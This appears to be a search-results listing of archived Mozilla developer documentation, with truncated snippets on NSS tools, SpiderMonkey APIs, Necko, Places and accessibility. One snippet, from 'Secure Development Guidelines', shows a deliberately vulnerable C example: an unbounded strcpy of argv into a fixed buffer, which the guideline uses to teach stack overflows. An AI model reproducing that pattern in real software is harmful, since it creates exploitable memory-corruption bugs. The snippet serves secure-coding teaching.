oftware. 3.11.8 nss_enable_audit boolean (1 to enable) enable auditing of activities of the nss cryptographic module in fips mode. audit data 3.11.2 nss_enable_pkix_verify boolean (any non-empty value to enable) use libpkix, rather than the old cert library, to verify certificates. 3.12 nss_fips string ("fips","true","on","1") will
start nss in fips mode. 3.12.5 nss_hash_alg_support string specifies agorithms allowed to be used in certain applications, such as in signatures on certificates and crls. see documentation at this link. 3.12.3 nss_output_file string (filename) output file path name for the pkcs #11 module logger. default is stdout. 3.7 nss_sdb_use_cache string ...
NSS tools : pk12util
ining the pkcs #12 file password. -w p12filepassword specify the pkcs #12 file password. ...
NSS tools : ssltab
cbc/md5 (0x000004) ssl3/rsa/rc4-128/md5 (0x00ffe0) ssl3/rsa-fips/3des192ede-cbc/sha (0x00000a) ssl3/rsa/3des192ede-cbc/sha (0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl re
starts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, re
start the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using...
NSS tools : ssltap
cbc/md5 (0x000004) ssl3/rsa/rc4-128/md5 (0x00ffe0) ssl3/rsa-fips/3des192ede-cbc/sha (0x00000a) ssl3/rsa/3des192ede-cbc/sha (0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl re
starts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, re
start the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are using...
gtstd.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide. if you are inclined to help with this migration, your help would be very much appreciated. upgraded documentation may be found in the current nss reference getting
started with ssl chapter 2 getting
started with ssl this chapter describes how to set up your environment, including certificate and key databases. ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss programs ssl, pkcs #11, and the default security databases the basic relationships among the nss libraries are described in introduction to network security services. before running the sample programs, it's important to u...
SSL functions
sl_optionsetdefault mxr 3.2 and later ssl_peercertificate mxr 3.2 and later ssl_preencryptedfiletostream mxr 3.2 and later ssl_preencryptedstreamtofile mxr 3.2 and later ssl_rehandshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_re
starthandshakeaftercertreq mxr 3.2 and later ssl_re
starthandshakeafterservercert mxr 3.2 and later ssl_revealcert mxr 3.2 and later ssl_revealpinarg mxr 3.2 and later ssl_revealurl mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg...
NSS Tools certutil
ol the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files. it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file.
starting from nss 3.35, the database format was upgraded to support sqlite as described in this document. it means that cert9.db and key4.db files may be targeted instead. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database. this document discusses certificate and key database managem...
NSS Tools pk12util
module can perform the requested operation" will appear on the error message. ...
NSS Tools sslstrength
ch single character represents a cipher. you can obtain this list of character->cipher mappings by doing 'sslstrength ciphers'. for example, ciphers=bfi will turn on these cipher preferences and turn off all others. policy=export or policy=domestic will set your policies appropriately. policy will default to domestic if not specified. step-up step up is a mode where the connection
starts out with 40-bit encryption, but due to a 'change-cipher-spec' handshake, changes to 128-bit encryption. this is only done in 'export mode', with servers with a special certificate. you can tell if you stepped-up, because the output will says 'using export policy', and you'll find the secret key size was 128-bits. prerequisites you should have a cert7.db in the directory in which you run sslstren...
NSS Tools ssltap
000a) ssl3/rsa/3des192ede-cbc/sha (0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db0xcfe9 }}]<additional records in same formats>server socket closed. usage tips when ssl re
starts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, re
start the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. if you are usin...
NSS tools : ssltap
e-cbc/sha (0x00ffe1) ssl3/rsa-fips/des64cbc/sha (0x000009) ssl3/rsa/des64cbc/sha (0x000003) ssl3/rsa/rc4-40/md5 } session-id = { } challenge = { 0x0355 0xe6e4 0x9979 0xc7d7 0x2c86 0x7896 0x5db 0xcfe9 } } ] <additional records in same formats> server socket closed. usage tips when ssl re
starts a previous session, it makes use of cached information to do a partial handshake. if you wish to capture a full ssl handshake, re
start the browser to clear the session id cache. if you run the tool on a machine other than the ssl server to which you are trying to connect, the browser will complain that the host name you are trying to connect to is different from the certificate. ...
Necko Architecture
begin until the user initiates the transaction using the nsichannel api. receiving data & nsistreamlistener you can read or write, from or to a channel using either the synchronous api, or the asynchronous api. if you want to move data asynchronously you need to be able to receive callbacks using an implementation of nsistreamlistener. an nsistreamlistener is told when the uri transaction has "
started," when data is available (in the case of reading data), and when it has "stopped." it is up to the nsistreamlistener implementation to decide what to do with these various notifications. the ondataavailable() notification provides a chance for the nsistreamlistener to actually retrieve data that the channel has acquired. one of the arguments to the ondataavailable() notification is an nsiinputs...
Necko FAQ
that's all! any resemblance in flavor to the necco candy is purely coincidental. what do i need to build this library? see the code section on the main page. currently you'd need to get the mozilla tree and at least build nspr, and xpcom. ...
Proxies in Necko
reating socket transports using an nsiproxyinfo. this proxy info will only be used if it specifies a socks proxy, through which the connection is then made. note that socks is implemented as an nsisocketprovider, and the socket transport service will therefore use it as as the downmost socket type. proxies and local hosts requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6)
starting with gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6), proxy servers are not used when accessing hosts with no dots in their names, if manual proxy configuration is used and "<local>" is added to the "no proxy for:" text field field. to be written xxx missing paragraphs are about pac, and more details about http proxying, and maybe some more details about socks proxies. original doc...
Pork
this information allows c++ to be automatically rewritten in a precise way. the inputs driving the rewriting would normally be provided by a program-analysis system outside of pork. (see dehydra, treehydra). pork has been tested mostly on linux, but in theory it should be possible to make it work on other systems. note: pork is not presently used at mozilla. please refer to the oink link below for a more up-to-date toolchain. ...
Rhino history
at the time, netscape was planning to produce a version of navigator written entirely in java and so it needed an implementation of javascript written in java. when netscape stopped work on "javagator," as it was called, somehow rhino escaped the axe (rumor had it that the executives "forgot" it existed). for a time, a couple of major companies (including sun) licensed rhino for use in their products and paid netscape to do so, allowing work on rhino to continue. now rhino is part of mozilla's open-source repository. ...
Rhino shell
details. -version versionnumber specifies the language version to compile with. the string versionnumber must be one of 100, 110, 120, 130, 140, 150, 160 or 170. see javascript language versions for more information on language versions. -strict enable strict mode. -continuations enable experimental support for continuations and set the optimization level to -1 to force interpretation mode.
starting with rhino 1.7 this options is no longer available. note if the shell is invoked with the system property rhino.use_java_policy_security set to true and with a security manager installed, the shell restricts scripts permissions based on their urls according to java policy settings. this is available only if jvm implements java2 security model. predefined properties scripts executing in the...
Rebranding SpiderMonkey (1.8.5)
t operation on all files in the current directory. in the unix world we would issue the following command: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation. if you have failed to insert your brand name in any of the previous steps where it is called for, you must delete this build directory and re
start this process from the beginning. this time paying careful attention to the commands you issue to your command shell. the above command has actually changed some information we need changed back so we will re-issue the recursive find and replace text in files command with some modifications. find ./ -type f -exec sed -i "s/$brand.pc/mozjs185.pc/" {} \; the last recursive search and replace, chang...
Creating JavaScript jstest reftests
the ecmascript standard for example, the exact definition of pi or some details of array sorting. you should not add tests of the following type: tests of the jit test of jit correctness belong in the jit-test suite, read more here. performance tests or stress tests tests of spidermonkey's comformance to the ecmascript standard a brief history: in 2017, spidermonkey
started comsuming test262, a comprehensive tests suite for ecmascript implementations. before using test262, spidermonkey had a fair number of internal tests of conformance to ecmascript, and many of those tests remain in the js/src/non262 directory as regressions. test262 tests test262 is the implementation conformance test suite for the latest drafts of ecmascript language specification, as well as...
Creating JavaScript tests
is provided for you in shell.js files. you can read about them here. performance testing and general advice do not attempt to test the performance of engine features in the test suite. please keep in mind that the javascript test suite is run on a wide variety of wildly varying hardware plaforms, from phones all the way up to servers. even tests that check for polynomial time complexity will
start to fail in a few years when they have sped up enough to run faster than the granularity of the os scheduler or when run on platforms with higher latencies than your development workstation. these tests will also show up as infrequent oranges on our heavily loaded test machines, lowering the value of our test suite for everyone. just don't do it, it's never worth it. do not add performance tests ...
FOSS
feel free to add your own spidermonkey-based open source projects (and if necessary add categories)! wrappers / bindings c++ cocos2d-js - cocos2d-js is a cross-platform game engine which embeds spidermonkey, providing the same api for both web and native platforms. getting
started here. flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any...
Invariants
t not trace into a function whose scope chain ends in a different global object. (if it is a script function, global names accessed in that function would refer to a different global object. even if the function is native, there is serious trouble: js_newobject with null parent argument calculates the parent from cx->fp->scopechain, which can be stale if we're on trace.) the chain of properties
starting at any jsshape and chasing jsshape::parent never forms a cycle and does not contain any duplicate jsscopeproperty::slot values other than -1. (a cycle would be very silly and could cause infloops. the same slot being allocated to more than one property would be a problem for obvious reasons.) all jsshapes in dictionary-mode objects have the in_dictionary flag set. all jsshapes in property tre...
Property cache
and no shape-regenerating gc occurred, then at t1 the lookup for x.p still finds the same property on x'. ...
SpiderMonkey Internals: Thread Safety
you must only use it from one thread. this page describes implementation details of the spidermonkey javascript engine. it is mainly of interest to people working on spidermonkey itself. see js_threadsafe for a gentler introduction to using spidermonkey in a multi-threaded application. general background spidermonkey has a top-level struct, jsruntime, that acts as a container for everything else. a program typically has only one jsruntime, even if it has many threads. each runtime has one or more jscompartments. the jscompartment is the universe in which js objects live. they can't travel to other jscompartments. crucially, any given compartment may only be accessed by one thread at a time. ...
INT_FITS_IN_JSVAL
eturns true, and i can be cast to jsval by calling int_to_jsval(i). otherwise, int_fits_in_jsval returns false. in this case, the application can still convert i to a jsval using js_newnumbervalue. warning: the type of the argument i must be jsint, but the c/c++ compiler does not enforce type safety here. if i is an unsigned or 64-bit value, int_fits_in_jsval can silently give the wrong answer.
starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers. example the following code snippet illustrates how a c variable, item, is conditionally tested in an if statement to see if it is a legal jsval integer value. if (int_fits_in_jsval(item)) { /* ... */ } else { js_reporterror(cx, "integer out of range: %d", item); }...
INT_TO_JSVAL
nteger value. please use js::int32value instead in spidermonkey 45 or later. syntax jsval int_to_jsval(int32_t i); name type description i any integer type c integer to convert to a jsval. description int_to_jsval converts a c integer, i, to a jsval. before spidermonkey 1.8.5, not all integers can be stored in a jsval; use int_fits_in_jsval to test.
starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers.") }} if i does not fit into a jsval (see int_fits_in_jsval), the behavior is undefined. to convert any number to a jsval, regardless of whether it fits in an int jsval, use js_newnumbervalue instead. to convert an integer jsval to a c integer, use js::toint32. see also ...
JS::Add*Root
* variable to root. rp js::heap<jsobject *> the address of the jsobject * variable to root. rp js::heap<jsscript *> the address of the jsscript * variable to root. name const char * the name of the new root, or null. description the js::add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as
starting points each time the collector checks to see what memory is reachable. the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collected. vp/rp is the address of a c/c++ variable (or field, or array element) of type js::value, jsstring *, jsobject *, or jsscript *. this variable must already...
JS::CallArgs
call. the intent of js::callargs is that they be used to encapsulate access to the un-abstracted unsigned argc, value *vp arguments to a function. new code should use callargs instead of js_callee etc. whenever possible. the eventual plan is to change jsnative to take const callargs& directly, for automatic assertion of correct use and to make calling functions more efficient. embedders should
start internally switching away from using argc and vp directly, except to create a callargs. then, when an eventual release making that change occurs, porting efforts will require changing methods' signatures but won't require invasive changes to the methods' implementations, potentially under time pressure. js::callargs encapsulates access to the callee, this, the function call's arguments, and even...
JSClass
is as a jsnewenumerateop. resolve jsresolveop hook for implementing lazy properties. see jsclass.resolve for details. use null or js_resolvestub (spidermonkey 31 or older) for default behavior. obsolete since jsapi 36 the jsclass_new_resolve flag instructs spidermonkey to call this as a jsnewresolveop. obsolete since jsapi 16the jsclass_new_resolve_gets_
start flag further affects this hook. convert jsconvertop this hook specifies how objects of this class are converted to a primitive value. it implements the object's [[defaultvalue]] hook, which is invoked by javascript when the object must be converted to a string, number, or primitive value. obsolete since jsapi 44 use null or js_convertstub (spidermonkey 31 or older) f...
JS_AddExternalStringFinalizer
for external strings created by js_newexternalstring using a type-code returned from this function, and that understands how to free or release the memory pointed at by js_getstringchars(str). returns a nonnegative type index if there is room for finalizer in the global gc finalizers table, else returns -1. in a js_threadsafe build, this function must be invoked on the primordial thread only, at
startup—or else the entire program must single-thread itself while loading a module that calls this function. to remove an external string finalizer, use js_removeexternalstringfinalizer. see also js_removeexternalstringfinalizer bug 724810 ...
JS_Add*Root
root rp void ** (in js_addgcthingroot and js_addnamedgcthingroot) the address of the jsstring* or jsobject* (not jsval) variable to root name const char * (in js_addnamedroot and js_addnamedrootrt) the name of the new root, or null. description the js_add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as
starting points each time the collector checks to see what memory is reachable. the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collected. vp/spp/opp/rp is the address of a c/c++ variable (or field, or array element) of type jsstring *, jsobject *, or jsval. this variable must already be init...
JS_ClearContextThread
this context. description an application that creates or uses a jscontext in one thread, then uses or destroys it in another thread, must use js_clearcontextthread and js_setcontextthread to transfer the jscontext safely from one thread to the other. the rules for using jscontexts in multiple threads are: each jscontext may only be used by one thread at a time. each request runs from
start to finish on a single thread. before transferring a jscontext from thread a to thread b, thread a must call js_clearcontextthread. this is the last thing thread a does with the context. before thread b uses the jscontext, it must call js_setcontextthread. this is the first thing thread b does with the context, before beginning a request. so the usual code for using a jscontext on a thread oth...
JS_InitClass
ess, js_initclass returns a pointer to a js object that is the prototype for the newly initialized class. if js_initclass fails, it returns null. the constructor for the class is built in the same context as cx, and in the same scope as obj. if you pass null as the constructor parameter, then a constructor is not built, and you cannot specify static properties and functions for the class. note:
starting with spidermonkey 1.8, the prototype and constructor are set up with stub getter and setter operations instead of class operations. if you provide a constructor for the class, then you should also pass an object to parent_proto. js_initclass uses parent_proto to build a prototype object for the class. the prototype object inherits properties and methods from the parent_proto object you provide...
JS_LookupProperty
vp js::mutablehandleobject out parameter. on success, *vp receives the stored value of the property, if any. description the functions js_lookupproperty, js_lookupucproperty, js_lookuppropertybyid, js_lookuppropertywithflags, and js_lookuppropertywithflagsbyid search a specified object, obj, for a property with the given name. these functions all have similar behavior: the search
starts with obj and proceeds along the prototype chain. if the property is found, *vp receives the property's stored value, or true if the property has no stored value; and the return value is true. if neither obj nor any of its prototypes have such a property, *vp receives undefined and the return value is true (to indicate no error occurred). on error or exception (such as running out of memory du...
JS_MakeStringImmutable
the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascript engine can reallocate so that concatenating it with another string is much faster. a dependent string (see js_newdependentstring) is a substring of another (growable, dependent, or immutable) string. in memory it is represented as a pointer to the other string and a pair of integers for the substring's
starting point and length, rather than as a separate copy of all the characters. this makes the substring operation, and regular expression matches, faster. in both cases, the javascript engine may change the fields of the jsstring. these changes are not atomic. therefore such strings must not be used by more than one thread at a time. applications must call js_makestringimmutable before sharing a jss...
JS_NewObject
bject. otherwise it returns null. added in spidermonkey 1.8 js_newobjectwithgivenproto creates a new object with the specified prototype. if null is passed as proto, the new object will have a prototype with the js value of null. to create a new object as a property of an existing object, use js_defineobject, a convenience function that combines js_newobject and js_defineproperty. obsolete ?
starting with gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5), you can create a new object in a specific compartment using the components.utils.createobjectin() method. choosing a default prototype like many jsapi functions, js_newobject selects an appropriate prototype for the newly created object if you don't supply one yourself. if the new object's class (here, clasp) is a built-in cla...
JS_NewRegExpObject
or chars, in characters. flags unsigned regular expression flags. see below. flags name description regexp constructor flag jsreg_fold fold uppercase to lowercase. i jsreg_glob global execution, creates array of matches. g jsreg_multiline treat ^ and $ as begin and end of line. m jsreg_sticky only match
starting at lastindex. y description js_newregexpobject and js_newucregexpobject create a new regexp instance. the flags from the built-in regexp constructor properties ignorecase, global, multiline, and sticky are or'd in with the provided flags parameter. js_newregexpobjectnostatics and js_newucregexpobjectnostatics create a new regexp instance. they do not or in any regexp constructor pr...
JS_NewUCString
ild, the caller must be in a request on this jscontext. buf char * or char16_t * pointer to a character array, allocated with js_malloc, containing the characters for the js string to create. the javascript engine adopts the buffer. length size_t number of characters in the text string. description js_newstring creates and returns a new string, using the memory
starting at buf and ending at buf + length as the character storage. js_newucstring is the unicode version of the function. the character array, buf, must be allocated on the heap using js_malloc. on success, the javascript engine adopts responsibility for memory management of this region. the application must not read, write, or free the buffer. this allows the javascript engine to avoid needless data...
JS_SetGCCallback
d callback function upon completion. the application may store this return value in order to restore the original callback when the new callback is no longer needed. to restore the original callback, call js_setgccallback a second time, and pass the old callback in as the cb argument. during each complete garbage collection cycle, the current gc callback is called four times: jsgc_begin
start of gc. the callback may prevent gc from
starting by returning false. but even if the callback returns true, the garbage collector may determine that gc is not necessary, in which case the other three callbacks are skipped. jsgc_mark_end obsolete since jsapi 13 end of marking. the callback may use js_isabouttobefinalized to clean up weak references to js objects (that is, pointers that are...
JS_THREADSAFE
the application must separate code that uses the jsapi from code that performs blocking i/o or time-consuming calculations. a request is a region of code that uses the jsapi. requests must be bracketed with calls to js_beginrequest() and js_endrequest(). js_beginrequest(cx); /* ... do jsapi stuff ... */ js_endrequest(cx); a request is always associated with a specific jscontext and runs from
start to finish on a single thread. most jsapi functions require the caller to be in a request. in this reference, these jsapi functions are marked with the words "requires request", like this: name type description cx jscontext * the context to use. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. most jsapi callback ...
JSDBGAPI
yscripthook js_getglobaldebughooks js_setcontextdebughooks memory usage js_getobjecttotalsize js_getfunctiontotalsize js_getscripttotalsize system objects js_issystemobject js_newsystemobject profiling these functions can be used to profile a spidermonkey application using the mac profiler, shark. see profiling javascript with shark. js_connectshark js_disconnectshark js_
startchudremote js_stopchudremote the following jsnative functions can be used to expose the above four apis to scripts. js_connectshark js_disconnectshark js_
startshark js_stopshark ...
Profiling SpiderMonkey
in libxul and static builds. make -c my-obj-dir/js/src other ways to profile for linux, there are global jprof functions available. see the documentation on the --enable-jprof mozconfig option. we're working to add support for other profilers, such as oprofile, intel vtune, and callgrind. when we have js scriptable profiling options available for all tier 1 platforms, we'll look at adding global
start/stop profiling functions. if you'd like to profile something at a higher level of detail than the js shark functions allow, there are corresponding c functions available at the bottom of jsdbgapi.h. costs of thread safety currently, threadsafe spidermonkey costs us 10-15% on some benchmarks vs. a non-threadsafe js shell. if you're looking to investigate that, build a standalone copy of spidermonk...
SpiderMonkey 1.8.8
class (use js_getclass instead) js_constructobject and js_constructobjectwitharguments (preferably use js_new instead, or use this reimplementation as a short-term fix) js_newcompartmentandglobalobject (use js_newglobalobject instead.) jspd_argument jsval_is_object() (use !jsval_is_primitive(v) to detect objects and jsval_is_null(v) to detect null). js_isscriptframe jsclass_new_resolve_gets_
start flag js_newnumbervalue api changes break out and discuss all api changes here... jsclass prototype has changed a number of optional members have been removed from the jsclass prototype. jsclass callback changes many of the jsclass callbacks such as jsresolveop, jsenumerateop and jspropertyop, have a type change on their arguments to jshandleobject, jshandleid, jshandlemutableobject etc. atleast...
SpiderMonkey 17
class (use js_getclass instead) js_constructobject and js_constructobjectwitharguments (preferably use js_new instead, or use this reimplementation as a short-term fix) js_newcompartmentandglobalobject (use js_newglobalobject instead.) jspd_argument jsval_is_object() (use !jsval_is_primitive(v) to detect objects and jsval_is_null(v) to detect null). js_isscriptframe jsclass_new_resolve_gets_
start flag js_newnumbervalue js_finalizestub js_clearnewbornroots jsclass_mark_is_trace flag js_setscriptstackquota api changes break out and discuss all api changes here... jsclass prototype has changed a number of optional members have been removed from the jsclass prototype. jsclass callback changes many of the jsclass callbacks such as jsresolveop, jsenumerateop and jspropertyop, have a type ...
SpiderMonkey 45
181175) js::disposeperformancemonitoring (bug 1208747) js::setstopwatchismonitoringcpow (bug 1156264) js::getstopwatchismonitoringcpow (bug 1156264) js::setstopwatchismonitoringjank (bug 1156264) js::getstopwatchismonitoringjank (bug 1156264) js::isstopwatchactive (bug 674779) js::getperfmonitoringtestcpurescheduling (bug 1181175) js::addcpowperformancedelta (bug 1181175) js::setstopwatch
startcallback (bug 1208747) js::setstopwatchcommitcallback (bug 1208747) js::setgetperformancegroupscallback (bug 1208747) js_stringhasbeeninterned renamed to js_stringhasbeenpinned (bug 1178581) js_internjsstring renamed to js_atomizeandpinjsstring (bug 1178581) js_internstringn renamed to js_atomizeandpinstringn (bug 1178581) js_internstring renamed to js_atomizeandpinstring (bug 1178581) js_i...
SavedFrame
ack frame’s function, or null. asynccause if this stack frame is the asyncparent of other stack frames, then this is a string representing the type of asynchronous call by which this frame invoked its children. for example, if this frame’s children are calls to handlers for a promise this frame created, this frame’s asynccause would be "promise". if the asynchronous call was
started in a descendant frame to which the requester of the property does not have access, this will be the generic string "async". if this is not an asynchronous call point, this will be null. asyncparent if this stack frame was called as a result of an asynchronous operation, for example if the function referenced by this frame is a promise handler, this property points to the stack frame responsibl...
TPS Pref Lists
a prefs asset list is an array of objects with name and value keys, representing browser preferences. for example: var prefs1 = [ { name: "browser.
startup.homepage", value: "http://www.getfirefox.com" }, { name: "browser.urlbar.maxrichresults", value: 20 }, { name: "browser.tabs.autohide", value: true } ]; pref lists and phase actions the only actions supported for preference asset lists are modify and verify: prefs.modify prefs.verify sync only syncs certain preferences. to find the list of valid preferences, go to about:config on a browser that has weave installed, and search for services.sync.prefs.sync. for a more detailed test example, see the tps prefs unit test. ...
Zest
more details https://github.com/mozilla/zest - the code on github http://groups.google.com/group/mozilla-zest - the group used for discussing zest ...
Secure Development Guidelines
2]; strcpy(c, bar); } int main(int argc, char **argv) { foo(argv[1]); } bbv: stack overflow before the stack overflow bbv: stack overflow after the stack overflow bbv: heap overflow dynamic memory malloc() calloc() heapalloc() mmap() not on the stack segment! most memory allocators use a linked list or binary tree bbv: off-by-one the array index
starts at 0 not at 1 char array[1024]; array[0] = first element! array[1023] = last element! array[1024] = 1 element outside the array! bbv: array indexing issues always ensure that the index is within the bounds of the array never use signed integers as index buf[strlen(buf) - 1] = '\0'; strlen() could return 0; resulting in a negative index! bbv: array indexing issues a...
Security and the jar protocol
s firefox is concerned, it was a zip archive. this ordinarily isn't a big deal, since site developers wouldn't put up dangerous files and set them up to download like zip archives. however, if a site allows file uploads, zip files are typically treated as relatively innocuous by web sites in that situation, since they're not executable. unless, of course, the browser thinks it's a jar file. so
starting with gecko 1.8.0.15 and 1.8.1.10, the jar: protocol is only allowed if the mime type of the file is application/java-archive. a site that serves a file with that type is essentially promising that it has vetted the content and that it is in fact safe to download and execute. any other file type results in an "unsafe file type" error. ...
Gecko object attributes
heuristic determines that it is a table that is probably used for layout, not for table. value not set means it is probably a data table. applied to: role_table table-cell-index the index of the table cell accessible. use nsiaccessibletable and nsiaccessibletablecell instead. applied to role_cell hypertext attributes formatting "block" if the object uses block formatting, and thus
starts on a new line and ends with a hard line break that is not visible in the actual text. for example, a heading, paragraph, or list item is typically formatted as a block, but there is no requirement to do so. their formatting may have been changed with css. an example of this is often horizontal navigation bars with list items that are formatted with css display: inline. applied to: any object th...
Implementation Details
s. please refer to pages below for interesting at api: msaa ia2 at-spi differences with other applications this section provides information about implementation differences between gecko based applications and other applications. msaa at-spi how to find the content window and load the document in xul-based clients, screen readers may need to find the content window so that they know where to
start grabbing the accessible tree, in order to load the current document into a buffer in their own process. refer to specific pages for interested at api. msaa/iaccessible2 at-spi avoiding memory leaks it is the assistive technology's responsibility to watch for events that indicate when windows or content subtrees are being destroyed, and to release all accessible objects related to that window. i...
AT APIs Support
free, open source internet tv and video player any xulrunner application (songbird media player, etc.) extensions to other xul apps (e.g. firefox extensions) gecko version for firefox and all other gecko-based products: this documentation applies to up-to-date product builds based on gecko 1.9.2 -- currently not available on official releases. however most of described features are supported
starting from gecko 1.9.0 (firefox 3.0). however it's preferable to grab the current build of firefox or any other gecko-based product to be up to dated: firefox recent builds thunderbird recent builds seamonkey recent builds determining if accessibility is enabled in a firefox accessibility is enabled on windows and linux platforms by default. as well you might find helpful the about:accessibi...
XForms Accessibility
implementation of accessible objects for xforms elements is based on top of the existing object hierarchy introduced in the mozilla accessibility module. xforms elements behavior is implemented in accordance with accessible toolkit checklist. in general, when elements are similar to html elements, they are exposed to msaa/atk in a similar way. get build subsections below explain how you can obtain accessible xforms-enabled build. ...
DocShell
at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell. nswebbrowser project page (outlines the design of nswebbrowser and docshell). overview of a uri load up though dispatch to a content handler. overview of a uri load in general (more bird's-eye view). ...
Embedded Dialog API
ccurate in version 1.20). the powerplant example is more is more straightforward.its promptservice is implemented directly in the application executable, not as a separate library. this is perfectly workable, as the example illustrates. the mfc example implements its promptservice in a separate dll, and overrides the default promptservice only if it is able to load the override dll at application
startup. its promptservice dialogs can be switched between default and overridden by moving the override dll into or out of the library search path. other sets of dialogs and alerts, implemented in other components,can be overridden in exactly the same fashion. responsibilities of mozilla/gecko component authors writing replaceable dialogs dialogs posed by the browser ("up calls") any component which ...
The Places database
contains the url and other global statistics. see history service design for more information. bookmarks tables moz_bookmarks: this table contains bookmarks, folders, separators and tags, and defines the hierarchy. the hierarchy is defined via the parent column, which points to the moz_bookmarks record which is the parent. the position column numbers each of the peers beneath a given parent
starting with 0 and incrementing higher with each addition. the fk column provides the id number of the corresponding record in moz_places. moz_bookmarks_roots: lists special folders that are the root folders of certain content types in the bookmarks system. the records in this table are mapped to records in the moz_bookmarks table. bookmarks, folders and separators are descendants of the bookmarks...
Places Developer Guide
istory browserhistory.removepage(oururi); // remove all visits for multiple urls from history var uristodelete = [oururi]; // will call nsinavhistoryobserver.onbeginupdatebatch/onendupdatebatch var donotify = false; browserhistory.removepages(uristodelete, uristodelete.length, donotify); // remove all visits within a given time period var enddate = date.now() * 1000; // now, in microseconds var
startdate = enddate - (7 * 86400 * 1000 * 1000); // one week ago, in microseconds browserhistory.removepagesbytimeframe(
startdate, enddate); // remove all pages for a given host var entiredomain = true; // will delete from all hosts from the given domain browserhistory.removepagesfromhost("mozilla.com", true); // remove all history visits browserhistory.removeallpages(); querying history the code samp...
Places Expiration
to tweak or set any preference, since adaptive behavior should satisfy each need, though in case of unexpected issues it's possible to act on some hidden preferences: places.history.expiration.interval_seconds: minimum number of seconds between expiration steps. default is 180 seconds. places.history.expiration.max_pages: the maximum number of pages that may be retained in the database before
starting to expire. default value is calculated on
startup and put into the places.history.expiration.transient_current_max_pages preference. this transient version of the preference is just mirroring the current value used by expiration, setting it won't have any effect. ...
Retrieving part of the bookmarks tree
bookmarks are retrieved using the places query system. for more basic bookmarks examples, see manipulating bookmarks using places. get the query and options objects all querying is done through the history service. first, you need to get an empty query and options objects from the history service: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); var options = historyservice.getnewqueryoptions(); var query = historyservice.getnewquery(); find the folder you want to get known folder ids are retrieved from the bookmarks service. ...
FUEL
removed as of firefox 47. consider using the add-ons sdk instead fuel is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them. fuel is new in firefox 3. fuel is about making it easier for extension developers to be productive, by minimizing some of the xpcom formality and adding some "modern" javascript ideas. we want to
start with areas that will provide the most benefit. fuel has a fueliapplication interface that implements all the functions of extiapplication. the library has also been implemented in thunderbird ("steel") and in seamonkey ("smile"). objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipre...
SMILE
this article covers features introduced in seamonkey 2 smile is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them. smile is about making it easier for extension developers to be productive, by minimizing some of the xpcom formality and adding some "modern" javascript ideas. we want to
start with areas that will provide the most benefit. smile has a smileiapplication interface that implements all the functions of extiapplication. the library has also been implemented in firefox ("fuel") and in thunderbird ("steel"). objects extiapplication objects exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage smileiapp...
XML Extras
